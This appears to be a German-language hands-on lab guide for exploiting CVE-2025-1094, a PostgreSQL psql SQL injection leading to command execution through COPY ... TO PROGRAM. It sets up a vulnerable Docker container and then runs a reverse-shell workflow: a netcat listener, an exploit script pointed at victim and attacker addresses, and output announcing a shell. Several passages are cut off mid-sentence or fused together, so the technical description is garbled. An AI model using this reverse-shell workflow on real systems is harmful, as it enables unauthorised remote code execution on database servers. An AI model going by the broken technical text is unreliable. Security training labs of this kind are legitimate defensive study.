
# Praktisches Labor zur Ausnutzung von CVE-2025-1094, einer SQL-Injection in PostgreSQL psql, die über COPY TO PROGRAM zu RCE führt, mit Docker-Setup und Reverse-Shell-Payload.
⚠️ Haftungsausschluss
Dieses Labor dient ausschließlich Bildungs- und Forschungszwecken.
Verwenden Sie NICHT Informationen oder Techniken aus dieser Anleitung auf Systemen, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Genehmigung zum Testen haben. Die unbefugte Nutzung dieser Methoden kann gegen Gesetze verstoßen und zu schwerwiegenden Strafen führen.
CVE-2025-1094 ist eine kritische Schwachstelle, die das interaktive Tool psql von PostgreSQL betrifft und in Version 14.15 und früheren Versionen entdeckt wurde.
Sie ermöglicht Angreifern die Durchführung von SQL-Injection, die unter bestimmten Bedingungen zu Remote Code Execution (RCE) führen kann.
Die Schwachstelle entsteht durch unsachgemäße Verarbeitung fehlerhafter UTF-8-Eingaben in psql.
Aufgrund unzureichender Validierung können Angreifer beliebiges SQL oder Meta-Befehle wie ! (Shell-Escape) injizieren und sogar COPY ... TO PROGRAM ausnutzen, um Systembefehle auszuführen.
COPY TO PROGRAM: Angreifer können beliebige Shell-Befehle ausführen, wie z. B.:
/etc/passwd)psql mit nicht vertrauenswürdigen Eingaben verwendet (z. B. BeyondTrust PRA, Remote Support), ist besonders gefährdet.Docker installieren:
sudo apt update
sudo apt install -y apt-transport-https ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg
echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt update
sudo apt install -y docker-ce docker-ce-cli containerd.io
sudo systemctl enable --now docker
sudo usermod -aG docker $USER
👉 Neustart oder Abmelden & erneut anmelden, um die Docker-Gruppenberechtigungen zu übernehmen.
Python und Abhängigkeiten installieren:
sudo apt install -y python3 python3-pip python3-psycopg2 netcat-traditional
✅ Stellen Sie sicher, dass Netzwerkverbindung zwischen Angreifer- und Opfermaschine besteht.
docker pull postgres:14.15
docker run --name vulnerable_postgres -e POSTGRES_USER=postgres123 -e POSTGRES_PASSWORD=StrongP@ssWord -e POSTGRES_DB=labdb -p 5432:5432 -d postgres:14.15
docker exec -i vulnerable_postgres psql -U postgres123 -d labdb <<EOF
CREATE TABLE users (
id SERIAL PRIMARY KEY,
username TEXT,
password TEXT
);
INSERT INTO users (username, password) VALUES ('admin', 'password123');
EOF
Nach dem Start des Containers überprüfen Sie mit den folgenden Befehlen, ob alles funktioniert:
1. Prüfen, ob der PostgreSQL-Container läuft:
sudo docker ps
📌 Sie sollten einen Container namens vulnerable_postgres sehen, der auf Port 5432 lauscht.
2. Auf den Container zugreifen und die Datenbank inspizieren:
sudo docker exec -it vulnerable_postgres psql -U postgres123 -d labdb
Führen Sie in der psql-Shell Folgendes aus:
SELECT * FROM users;
Erwartete Ausgabe:
id | username | password
----+----------+-------------
1 | admin | password123
(1 row)
psql beenden:
\q
✅ Ihre verwundbare PostgreSQL-Instanz läuft jetzt und ist bereit für die Ausnutzung.
3. Container wieder starten
sudo docker start vulnerable_postgres
nc -lvnp 4444
python3 exploit.py <Victim_IP> <Attacker_IP> <Attacker_PORT>
[*] Connecting to PostgreSQL server...
[+] Connected successfully!
[*] Sending payload...
[✓] Payload executed! Check your Netcat listener for a shell.
COPY ... TO PROGRAM ausnutzen, um beliebige Shell-Befehle auszuführen💡 Tipp: Sie können diesen verwundbaren Container als Snapshot speichern und später wiederverwenden, ohne die Umgebung neu aufbauen zu müssen.